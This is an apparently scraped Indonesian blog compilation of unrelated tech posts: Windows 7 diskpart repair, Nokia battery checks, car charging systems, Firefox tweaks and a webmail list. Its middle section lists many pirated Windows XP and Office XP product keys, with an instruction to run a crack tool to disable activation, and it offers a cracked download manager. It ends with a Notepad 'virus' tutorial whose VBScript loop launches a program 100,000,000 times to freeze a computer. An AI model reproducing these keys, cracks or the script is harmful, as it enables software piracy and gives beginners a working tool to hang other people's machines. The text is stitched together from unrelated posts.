Pertama
lakukan booting dengan menggunakan CD/DVD instalasi Windows7 tersebut.
Setelah booting, kemudia pilih menu repair. Dan biarkan coba repair karena
untuk awal gak akan bisa ke repair biasanya.
Sampai pada menu ada pilihan untuk ke command promp. Nah silahkan pilih menu
command promp ini.
Lalu pada command promp ketik :
Diskpart
Lalu akan
mucul tools dari diskpart.exe dan tampilan.
DISKPART>
Kemudian
ketik lagi :
DISKPART>
List Disk
untuk
melihat disk, dan untuk memilih disk ketik :
DISKPART>
Select Disk 0
Lalu untuk
melihat partition dan memilih partition windows ketik :
DISKPART>
list partition
DISKPART>
Select Partition 3 ( 3 disini gw bikin karena windows 7 gw di install di
partisi ke 2)
kemudian
aktifkan partition itu dengan :
DISKPART>
active
Setelah itu lakukan reboot, dan boot kembali dengan CD/DVD
installer dan kembali pilih repair.
maka proses
repair akan berjalan. setelah itu reboot dan jalankan notebook secara normal
maka windows 7 akan siap digunakan.
• Win XP Home Retail:
RH6M6-7PPK4-YR86H-YFFFX-PW8M8
• Win XP Home Upgrade:
RH6M6-7PPK4-YR86H-YFFFX-PW8M8
• Win XP Media Center 2005:C4BH3-P4J7W-9MT6X-PGKC8-J4JTM
• Win XP Prof Corp: XP8BF-F8HPF-PY6BX-K24PJ-TWT6M
• Win XP Prof OEM:
XJM6Q-BQ8HW-T6DFB-Y934T-YD4YT
• Win XP Prof Retail:
CD87T-HFP4C-V7X7H-8VY68-W7D7M
• Win XP Prof Upgrade:
CD87T-HFP4C-V7X7H-8VY68-W7D7M Run WPA_Kill.exe (in TOOLS\CRACK) to disable
activation in non-corporate installs. CD NR 17 815
• Windows 2000 Powered Network
Attached Storage ( NAS ) SN: RBDC9-VTRC8-D7972-J97JY-PRVMG CD NR 17 515
Microsoft Windows XP Professional Reduced Media Edition CD NR 17 516
• Microsoft Windows XP Pro
Upgrade w/ Service Pack 2 Integrated SN:CD87T-HFP4C-V7X7H-8VY68-W7D7M CD NR
17 256
• Microsoft Windows XP Media
Center Edition 2005 [2 CDs] CD NR 16 643 SN: C4BH3-P4J7W-9MT6X-PGKC8-J4JTM
• Windows XP Tablet PC Edition
2005 (c) Microsoft [2 CDs] SN: BGBHP-VGPP7-QHTXB-TPV36-CK8T8 16 544
• Microsoft Windows XP
Professional SP2 Integrated POLiSH 16 401 SN: MYV37-2YMH7-YBHVW-VXJHM-489TB
• Microsoft Windows XP Corporate
Ed. with incl. SP2 SN:FC8GV-8Y7G7-XKD7P-Y47XF-P829W
CGJ2M-CFTXY-W4RBJ-BWTGB-VH2CB 16 171
• Microsoft Windows XP
Professional SP2 Integrated READ NFO SN:CD87T-HFP4C-V7H7H-8VY68-W7D7M
RH6M6-7PPK4-YR86H-YFFFX-PW8M8 16 172
• Windows XP Pro SP2 Intergrated
TYPE Repack SN:BRP6M-RC9CJ-VWDRK-KP2C2-9QFGW 16 166
• Microsoft Windows XP Service
Pack 2 Build 2162 Home Integrated SN:WWWJR-BX7CV-P32X2-C7VT3-QD6BP 16 043
• MS Windows XP Professional SP2
RC2 beta build 2149 Intergrated SN:XP8BF-F8HPF-PY6BX-K24PJ-TWT6M 15 812
• Microsoft Windows XP
Professional SP2 RC1 Integrated REPACK 15 389 SN:XP8BF-F8HPF-PY6BX-K24PJ-TWT6M
• Ms Windows XP GR SP1 SN:4BR3X-4CP6X-2DTXP-FFDHT-7Q298
14 696
• WINDOWS XP – Media Center
Edition 2004*GERMAN* SN: KFX2B-HXQ68-78RWH-RPXPK-68DHM 14 460
• Microsoft Windows XP Corporate
Edition SP1a Intergrated SN: 7QVT6-T2738-WRKJB-YKRFQ-XVK98 11 684
• Windows XP Home OEM: JQ4T4-8VM63-6WFBK-KTT29-V8966
• Windows XP Home Retail:
RH6M6-7PPK4-YR86H-YFFFX-PW8M8
• Windows XP Home Upgrade:
RH6M6-7PPK4-YR86H-YFFFX-PW8M8
• Windows XP Media Center 2005:
C4BH3-P4J7W-9MT6X-PGKC8-J4JTM
• Windows XP Prof Corp:
XP8BF-F8HPF-PY6BX-K24PJ-TWT6M
• Windows XP Prof OEM:
XJM6Q-BQ8HW-T6DFB-Y934T-YD4YT
• Windows XP Prof Retail:
CD87T-HFP4C-V7X7H-8VY68-W7D7M
• Windows XP Prof Upgrade:
CD87T-HFP4C-V7X7H-8VY68-W7D7M
• Windows XP Tablet PC 2005:
VJT7M-8KKHT-GXQ6B-RX639-94FMD DVD-260
• Microsoft XP Corpor. Edition
Service Pack 1 Intergrated PROPER Key: 7QVT6-T2738-WRKJB-YKRFQ-XVK98 9774
. Microsoft Windows XP Service
Pack 1 Final Key:VHGJJ-6WK8X-JT2DH-BK6JV-PVFQ4 9775
• Microsoft Windows XP Slipstream
Sp1 Corporate SN:3KFB7 X2Q3M 6MWFX W2Y7V C7M9D 9758
• Microsoft Windows XP Corporate
Ed. with incl. SP1 (c) Microsoft SN:3KFB7 X2Q3M 6MWFX W2Y7V C7M9D 9752
• Windows XP Professional Retail
Serial# HJ32Y-3B3Y3-3X2HD-DJ43J-Q7D7G 9502
• Windows XP SP1 (c) 2002
Microsoft SN:K2KB2-BDBGV-KP686-D8T7X-HDMQ8 9080
• Windows.XP.Professional.64.Bit.Edition
serial number: C4FPJ-HQCGP-QD3XC-2JF34-FT8Y6 8104
• Microsoft Windows XP Corporate
Edition CDKEY: FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8 7832
• Windows XP Greece SN:
MHBCT-6WVKJ-WD3Q3-9D9VJ-C9JJ6 7800
• Windows XP Corporate Edition
“PROPER PACK”FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8 6580
. Microsoft Windows XP
Professional No Activation Required FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8 6572
• Ms Office XP GR Prof.[3 CDs]SN :FPHY3-T6B6J-7CFJ9-W4HCT-964FM
Publis: PQMVV-XDQ9Q-4C2HP-QK4TF-H4W4M 6482
• Microsoft Office XP Developer
Edition [3 CDs] CDKEY:FM9FY-TMF7Q-KCKCT-V9T29-TBBBG 5746
• Microsoft Office XP
Professional [3 CDs] FM9FY TMF7Q KCKCT V9T29 TBBBG 5595
• MICROSOFT OFFICE FINAL XP
CORPORATE EDITION cdkey: FM9FY TMF7Q KCKCT V9T29 TBBBG 5492
Memeriksa baterai Nokia memang mudah dilakukan,
apakah Anda ingin mengkonfirmasi keaslian atau hanya pastikan muatan
yang perlu diganti. Tidak ada alat khusus yang dibutuhkan. Untuk
memeriksa baterai nokia, Anda hanya memerlukan perangkat yang mampu
mengukur arus listrik yakni sebuah multimeter atau voltmeter sederhana.
Berikut caranya memeriksa baterai Nokia:
Matikan ponsel Anda.
Geser panel belakang dari telepon. Bagaimana persisnya hal ini dilakukan tergantung pada model telepon, dan manual yang tertera.
Lepaskan
baterai telepon. Sekali lagi, ini bervariasi dari ponsel ke ponsel dan
tercakup dalam manual, tetapi cenderung menjadi sedikit lebih rumit
daripada mendapatkan panel belakang off. Cari tempat untuk menyematkan
kuku Anda ke tempat baterai tersembunyi untuk membuatnya keluar.
Setelah Anda mendapatkan pegangan, membongkar pada dengan lembut,
jangan memaksakan apapun.
Periksa keaslian baterai Nokia
Anda dengan memiringkan untuk memeriksa hologram Nokia tercetak di
samping. Saat Anda memiringkan itu, Anda harus dapat melihat titik
kecil di setiap sisi logo Nokia: empat di atas, dua di sebelah kanan,
tiga di bagian bawah dan satu di sebelah kiri.
Atur multimeter untuk membaca volt DC pada kisaran 20 untuk memeriksa isi baterai Anda. Jika multimeter Anda autoranging, Anda tidak perlu khawatir tentang angka-angkanya; cukup atur ke DC.
Cari
terminal kecil di salah satu sisi baterai Anda. Akan ada setidaknya dua
dan label positif / negatif akan muncul dicetak tepat di atas atau di
bawah mereka.
Sentuh probe merah pada multimeter untuk terminal positif dan probe hitam untuk terminal negatif.
Periksa
bacaan di multimeter Anda. Kebanyakan baterai ponsel adalah 3,7 volt,
sehingga jumlah angka sekitar ini mungkin akan menunjukkan muatan
penuh, tetapi periksa juga informasi yang tercetak pada baterai Anda
untuk jumlah yang tepat.
Satu hal yang perlu diketahui, baterai di ponsel Nokia sebanding dengan ponsel lain, tetapi ada fitur power-saving
yang dapat memperpanjang masa pakai baterai dan memberikan Anda waktu
bicara lebih panjang per harinya. Fitur-fitur ini dapat diakses
langsung dari layar menu utama ponsel.
Langkah untuk mengaktifkan fitur ini tidak sulit, berikut Paseban sampaikan panduannya;
Hidupkan Ponsel Nokia Anda dan tekan tombol "Menu" yang terletak di bagian atas keypad.
Pilih "Tools" dari daftar pilihan yang muncul dan kemudian pilih "Settings."
Pilih "Phone" dari daftar pilihan dan kemudian pilih "Display."
Gunakan
tombol "Scroll" untuk memilih pilihan "Power Saver" dan kemudian tekan
"OK" untuk mengaktifkannya. Dalam mode ini lampu latar pada layar akan
dikendalikan untuk memberikan kinerja baterai yang optimal.
Jangan lupa tutup semua aplikasi yang berjalan pada perangkat Nokia
Anda bila tidak digunakan untuk lebih memperpanjang daya baterai Nokia
Anda.
Charging system pada mobil merupakan salah satu sistem utama di setiap kendaraan. Terutama mobil, wajib memiliki charging System yang baik.
http://i315.photobucket.com/albums/ll463/bapuks/dinamo/dinamoampere.gif
Tujuan dari Charging system ini pada dasarnya adalah untuk melakukan pengecasan ulang terhadap daya aki yang terpakai saat melakukan starter, menyalakan lampu, dan aksesoris lainya. Selain itu charging system juga menjadi sumber tegangan utama saat mesin kendaraan hidup.
Charging system merupakan sistem pada kendaraan yang tidak terlalu berkembang dalam artian tidak begitu banyak mengalami perubahan dari dulu hingga sekarang.
Charging system bekerja dengan cara :
Merubah Energi mekanik (putaran pulley yang di hubungkan oleh v belt ke crank saft) menjadi Energi Elektrik.
Komponen utama Charging system
Komponen utama dari Charging system antara lain Aki, Alternator, Voltage Regulator.
Sering kali kita menvonis aki kita rusak, sebenarnya belum tentu aki kita tersebut sudah rusak apalagi untuk aki yang masih berumur di bawah 8 bulan..kemungkinan kecil untuk rusak. Bisa saja aki mengalami discharge yang sangat besar karena tidak normalnya Charging System kita. Apabila tidak adanya pengisian oleh Charging system..maka daya dari aki akan terkuras dan lama-lama akan habis terpakai. (menghidupkan koil, lampu, komputer, dll). Jika sudah habis maka mobil kita akan mogok ...Sebenarnya aki ini masih bisa dipakai jika kita melakukan charge ulang dengan menggunakan battery charger....
komponen Charging system lainya yaitu Alternator.(disebut juga dinamo Ampere).Yaitu sebuah generator yang menghasilkan arus AC (Alternating Current), Namun arus AC ini segera dirubah menjadi DC(Direct Current) oleh alternator itu sendiri. Sebab pada kendaraan (mobil pada umumnya) menggunakan aki 12V DC.
Tentang alternator lebih jauh klik here (http://www.otomotifnet.com/otoforum/showthread.php?p=7035)
Voltage Regulator : Fungsi dari voltage regulator adalah sesuai dengan namanya mengatur tegangan agar output dari alternator berada pada kisaran 13,5volt sampai 14,5 volt...agar tidak merusak komponen elektrikal pada kendaraan. Pada awalnya pengatur tegangan ini ditempatkan terpisah dengan alternatornya berupa Cut Out..tetapi sekarang seiring dengan kemajuan teknologi fungsi dari pengatur tegangan ini sudah dapat di bentuk dengan modul ic yang kompak sehingga bisa di letakan didalam alternator itu sendiri.
Cut out
http://i315.photobucket.com/albums/ll463/bapuks/dinamo/IMAGE_029.jpg
IC voltage Regulator
http://i315.photobucket.com/albums/ll463/bapuks/dinamo/06F.jpg (dari thread Bro Adye Ahmad)
Pengisian pada kendaraan dapat dianalogikan dengan aliran air. Aliran air untuk mengisi sebuah ember kosong akan cepat apabila selangnya cukup besar dan juga tekanan dari air tersebut cukup kencang. Namun tekanan yang terlalu kencang dapat menjebol sambungan2 selang dan juga ember itu sendiri. Demikian halnya dengan Pengisian pada kendaraan. Tegangan atau Voltage dari charging system mirip dengan tekanan pada air...dan selang yang digunakan adalah kabel pengisian. Sedangkan ember penampung air dalam charging system adalah Aki. Terlalu besar Voltage dapat merusak komponen kendaraan seperti aki, computer, dan lain-lain(merupakan tugas dari voltage regulator untuk menahan agar ini tidak terjadi). Agar pengisian aki dapat berlangsung cepat maka hambatan pada kabel harus seminimal mungkin dan arus pengisian (ampere) yang cukup deras.
Ketika kendaraan melaju dengan kencangnya kemungkinan output tegangan dari alternator akan semakin meningkat. Seiring dengan itu maka voltage regulator mengurangi kekuatan magnet dari alterntor sehingga secara otomatis output dari alternator menjadi berkurang juga.
Kerusakan-kerusakan yang mungkin terjadi
Kemungkinan kemungkinan kegagalan dari charging system antara lain :
1. Kegagalan pada Alternator (dinamo ampere) itu sendiri seperti :
Rusak nya salah satu dari tiga gulungan. Sehingga output yang dihasilkan menjadi 2/3 dari output seharusnya. Masalah seperti ini sangat jarang terjadi dan sangat sulit untuk cepat dideteksi. Sebab gejala kerusakan akan terasa apabila kita menggunakan seluruh aksesoris kendaraan secara bersamaan. Seperti mengendarai dimalam hari dengan lampu, AC, Tape, Defogger, fog lamp, wiper pada kondisi hidup mungkin baru akan terasa ..ketika wiper melambai, head lamp ikut mengedip atau main. Nah ini kemungkinan salah satu dari 3 gulungan putus.
Rusaknya salah satu diode dari 6 diode rectifier : Gejalanya sama percis dengan gejala diatas.
Rusaknya Voltage Regulator : Hal ini ditandai dengan cepat putusnya komponen-komponen electrical anda seperti bohlam, dan komponen lainnya. Selain itu timbul bau asam menyengat dari aki karena penguapan yang begitu besarnya. Hal ini harus segera diperbaiki karena selain merusak komponen electrical yang lain juga dapat merusak Aki.
Suara berisik hingga macet : Suara berisik yang mungkin timbul dari alternator adalah karena adanya komponen bearing alternator yang sudah macet atau rusak. Sehingga saat alternator berputar dengan kencang akan terdengan suara gemuruh bahkan kalau sudah parah akan timbul macet pada rotor dinamo ampere sehingga tidak terjadi pengecasan sama sekali.
2. Kegagalan pada wiring system seperti :
Medan magnet tidak terbentuk : Ketika posisi kunci kontak sudah pada posisi on maka seharusnya pada alternator sudah terdapat medan magnet. Hal ini dapat dijadikan dasar pengecekan pertama pada alternator anda. . Jika tidak ada medan magnet maka dapat dipastikan charging system tidak bekerja dengan sempurna. Hal ini dapat disebabkan karena adanya socket ke alternator yang lepas (sering terjadi) selain itu juga bisa diakibatkan brush atau arang alternator sudah habis.
Kabel pengisian utama (dari charging output) korosi atau putus : apabila kabel utama pengisian ini putus maka Alternator akan bekerja sia-sia, sebab keluaran dari alternator tidak ditampung dengan baik. Begitu pula jika terjadi korosi pada kabel pengisian utama ini..misalnya dari charging output terminal keluar 14 volt , karena korosi maka yang sampai ke terminal aki menjadi hanya 12,6 volt...sehingga pengisian akan berkurang dan tidak maksimal.
Kabel Ground dari aki ke Egine kurang baik atau korosi : Sama halnya dengan kabel pengisian utama yang korosi, kabel grounding dari terminal aki - ke engine yang korosi dapat menurunkan kemampuan pengisian. Karena grounding alternator mengambil langsung dari body alternator yang di baut ke engine. Sehingga apabila grounding dari aki ke engine kurang baik..maka hasil dari pengisian alternator juga akan berkurang.
Metode Pengecekan Sederhana
Pengecekan Medan Magnet
Seperti dijelaskan diatas, Cara pengecekan Paling sederhana adalah dengan merasakan apakah medan magnet terjadi ketika kunci kontak pada posisi ON. Caranya dengan menggunakan Sebuah benda logam besi seperti obeng, atau pisau...dekatkan pada dinamo ampere ketika kunci kontak pada posisi On (cukup pada posisi on tidak perlu hidup mesin). Apabila terdapat medan magnet minimal anda tahu bahwa wiring dan alternator sudah benar. Tetapi apabila tidak terdapat medang magnet Segera cek wiring dan bila perlu alternator.
Cara pengecekan dengan Voltmeter
http://tbn1.google.com/images?q=tbn:ECZNCJKdU8ideM:http://faq.f650.com/FAQs/Photos/ElecPhotos/VoltmeterVolts.jpg
1. Ukur Voltase di kepala aki + dan - saat mesin dimatikan. catet.
2. Ukur voltase di kepala aki + dan - saat mesin di hidupkan.
3. Ukur voltase ketika mesin hidup dari terminal B ke bodynya alternator itu sendiri.
4. Ukur Voltase ketika mesin hidup dari terminal B ke kepala aki -
5. Ukur Voltase ketika mesin hidup dari body alternator ke kepala aki +
http://i315.photobucket.com/albums/ll463/bapuks/otomotifnet/checking-alternator.gif
jika hasil test nomer 4, 5 (lebih kecil dari nilai hasil test nomer 3..) gagal maka ada kemungkinan kabel ground atau kabel dari pengisian utama dari charging output bermasalah...
Sebenarnya masih banyak cara pengecekan yang lain..namun menurut TS dua metode diatas sudah cukup untuk mengecek kondisi Charging system bagi pemilik Mobil.
Jika kita menekan tomblol trl dan F pada saat bersamaan pada mozilla
firefox akan muncul semacam kotak search dibawahyang berfungsi untuk
mencari kata dalam page tersebut, penerapanya dalam mengedit blog
sangatlah banyak, diantaranya jika kita mempercantik blog pada page
edit HTML yang berisi bepuluh - puluh kode yang membuat kita bingung
dan kita di haruskan menumukan salah satu dari berpuluh kode itu, maka
kita tinggal mengunakan fungsi CTRL + F tersebut misalnya kita harus
menemukan kode tinggal coopy saja dan pastekan dikotak depan kata find
dibawah. mudahkan
Gada kerjaan dirumah daripada ngelamun ya mending kita terbang ke dunia maya…
Kali aja kita nemu yang aneh…
Download apa githu…
Software ato film apa githu…
Asal jangan bokep aja..
Ntar anak kecil liat bisa bahaya gan…
Hhe..
Ni buat mempercepat downloadan ane kasih gan IDM versi 6.05 full with crack…
Langsung sedooot aja yh gan… Download disini..
1. Buka Mozilla Firefox anda dan ketik "about:config" (tanpa tanda petik)pada address bar kemudian tekan enter. scrolling kebawah dan cari entriesseperti di bawah ini: -network.http.pipelining-network.http.proxy.pipelining-network.http.pipelining.maxrequests 2. Ubah setting entries di atas degna setting seperti di bawah ini , caranyadg men double-klik pada entries atau klik-kiri-enter pada entries : Set : "network.http.pipelining" menjadi "true" (defaultnya false) Set : "network.http.proxy.pipelining" menjadi true set : "network.http.pipelining.maxrequests" menjadi nilai seperti "32".artinya akan membuat 32 request dalam sekali. 3.klik-kanan (dimana saja)-> select New-> Integer. ketiknglayout.initialpaint.delay pada prefence name, kemudia set nilai menjadi"0" (nol). 4.Selesai. boleh juga anda restart komputer anda biar lebih fresh...!
Email adalah harga mati untuk seorang
CyberMan ( Apaan Tuch ) Sangat dasar sekali, bagaimana orang dapat
mengenal kita dan berhubungan dengan kita, mengunakan aplikasi, membuat
akun, dll, Pertama gw mau paparin top 10 email yang paling banyak di
pake
1.Gmail
Gmail adalah pendekatan
Google untuk email dan chat. Memungkinkan Anda untuk mengumpulkan semua
pesan Anda, dan Gmail yang sederhana tapi interface sangat cerdas
memungkinkan Anda menemukan mereka tepat dan melihat mereka dalam
konteks tanpa usaha. POP dan kuat membawa akses IMAP Gmail ke email
apapun program atau perangkat
2. AIM Mail
AIM
Mail, AOL berbasis-web gratis layanan email, bersinar dengan unlimited
online storage, perlindungan spam yang sangat baik dan kaya, mudah
menggunakan antarmuka.
Sayangnya, AIM Mail tidak memiliki sedikit dalam produktivitas (tanpa
label, folder dan pesan pintar threading), tetapi membuat untuk
sebagian yang dengan sangat fungsional IMAP (dan juga POP) akses.
3.GMX Mail
GMX Mail
adalah layanan email yang dapat diandalkan disaring baik dari spam dan
virus yang 5 GB dari penyimpanan online dapat Anda gunakan tidak hanya
melalui antarmuka web yang kaya tetapi juga melalui POP atau IMAP dari
desktop program email.
Lebih dan lebih pintar cara untuk mengatur mail bisa menyenangkan.
4.Yahoo Mail
Yahoo! Mail
di mana-mana program email Anda di web dengan penyimpanan tidak
terbatas dan RSS feed berita, SMS texting dan pesan instan untuk boot.
Sementara Yahoo! Mail umumnya merupakan kegembiraan untuk menggunakan,
bebas-bentuk folder penandaan dan cerdas akan menyenangkan, dan filter
spam bisa menangkap sampah bahkan lebih efektif. juga ada layanan kirim
sms ke hp gratis
5.Zenbe Mail Personal
Pribadi
Zenbe mengatur email Anda dan lampiran (dari Zenbe dan yang ada account
POP) dengan label dan pencarian - dan memadukan kalender, to-do list,
twitter dan Facebook update juga.
Dengan fokus pada kesederhanaan yang elegan, manis Zenbe menyediakan
banyak jalan pintas tetapi juga menunjukkan kebiasaan dan kelalaian
dalam diri orang lain. Filter spam yang baik, tetapi akan lebih bagus
lagi jika akses IMAP adalah mungkin bagi semua folder (tidak hanya
kotak masuk).
6.Gawab.com
Gawab.com
adalah cepat, stabil dan sangat berguna layanan email gratis dengan 10
GB ruang online, akses POP dan IMAP juga banyak yang berbasis web hore.
Sayang sekali Gawab.com 's IMAP pelaksanaan tidak memberikan Anda akses
ke label, dan pesan penuh pencarian hilang dari antarmuka web.
7.Inbox.com
Inbox.com
tidak hanya memberikan Anda 5 GB untuk menyimpan surat Anda online,
tetapi juga yang sangat mengilap, cepat dan fungsional untuk mengakses
baik melalui web (termasuk pencarian cepat, gratis-bentuk label dan
membaca mail dengan percakapan) atau melalui POP dalam program email
Anda.
Sayangnya, akses IMAP tidak didukung oleh Inbox.com, dan alat-alat
untuk mengorganisir mail dapat diperbaiki dengan pintar atau
diri-mengajar folder.
8.FastMail Guest Account
FastMail merupakan layanan email gratis dengan akses IMAP, fitur, dan sebuah bintang antarmuka web.
Sayang FastMail tidak menawarkan penyaringan spam benar-benar efektif
untuk akun gratis, dan lebih banyak ruang penyimpanan untuk semua
pengguna.
9.Windows Live Hotmail
Windows
Live Hotmail adalah layanan email gratis yang memberikan Anda 5 GB (dan
terus bertambah) dari penyimpanan online, cepat cari, padat keamanan,
akses POP dan sebuah antarmuka yang mudah sebagai desktop program
email.
Ketika datang untuk mengorganisir mail, Windows Live Hotmail tidak
melampaui folder (untuk menyimpan pencarian dan tag, misalnya), maka
filter spam bisa lebih efektif, dan IMAP akses ke semua folder online
akan menyenangkan.
10. Yahoo! Mail Classic - Free Email Service
Yahoo!
Mail Classic adalah yang nyaman, handal dan aman layanan email dengan
unlimited storage. Sebuah filter spam yang cukup bagus membuat sampah
keluar, dan Anda dapat mengirim email kaya menggunakan Yahoo! Mail
editor HTML.
Sumber : http://email.about.com/od/freeemailreviews/tp/free_email.htm
EMAIL FORWARDING
Selain ntu, ada beberpa banyak
yang laen lagi, next Email Forwarding, pada dasar nya sama dengan URL
forwarding, dimana kita menciptakan alamat baru sebagai parkiran saja,
artinya alamat baru ini membaca alamat yang sudah ada, begitupun dengan
email forwarding, kita dapat menciptakan alamat email yang keren yang
dapat membaca email kita yang sudah ada, pada intinya siapa saja yang
mengirim email pada email baru kita pasti masuk pada kotak masuk email
lama kita. salah satu situs yang menawarkan untuk mencipta alamat email
forwading ini adalah fanmail, yang menawarkan beberapa akhiran unuik di
belakang @, seperti username@devils.com,username@rebels.com,username@army.com,username@bulldog.comdll,
alamat email ini akan memforward penyimpanan email kita entah itu di
yahookah, gmailkah, windows live ato apapun, email kita akan tersa
lebih keren dan beda dari pada yang lain, tanpa menghilangkan
fungsinya bisa dipakai untuk akun social networking, blog dll.
tertarik register di alamat ini
EMAIL FOR BALADEWA
One more, Spesial buat pengilla
Achmad Dhani dan Konco - konconya, oficial web dewa19 nyediain email
gratis, email kita bakal berakhiran@dewa19.com, expresiin, ngebuktiin bahwa lo bener - bener baladewa sejati, maniak dewa19, so... tertarik sign up di stus ini
cek email di dewa19.com so guys and girl walo pun uda basi semoga bermanfaat, kayanya cukup untuk postingan kali ini
Kemaren malem si saya gada kerjaan iseng aja baca-baca buku bekas kuliah dulu…
Eh ternyata disana ada cara membuat virus pake notepad…
Iseng juga ni buat coba..
Eh ternyata berhasil…
Kalo yang udah tahu jangan ngeledek yah..
Maklum si saya kan baru di dunia maya ini…
Kebanyakan hidupnya di game sih…
Jadi buat yang kaya ginian ya bru baru ini…
Nah buat yang sama pemula ni bisa ikut coba deh…
Let`s Begin!
langkah-langkah:
1. buka notepad
2. copy+paste bahasa pemograman(yang bercetak tebal) di bawah ini:
option explicit
dim wshshell set wshshell=wscript.createobject("wscript.shell")
dim x for x = 1 to 100000000 wshshell.run "tourstart.exe" next untuk mendownload scipt, klik disini
3. Save notepad dengan nama virus.vbs ( pastikan ”save as type” diubah ke ”all files”)
4. Ingat!! jangan klik file tersebut. Karena komputer anda akan dipenuhi oleh 100000000
tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total
sebelum anda mendelete semuanya.
5. bila ingin mencoba virus ini. silahkan membuat ulang program, dengan perbedaan
ubah 100000000 ke 10, untuk percobaan. maka setelah anda mengklik program.
layar anda akan dipenuhi oleh hanya 10 tourstart saja.
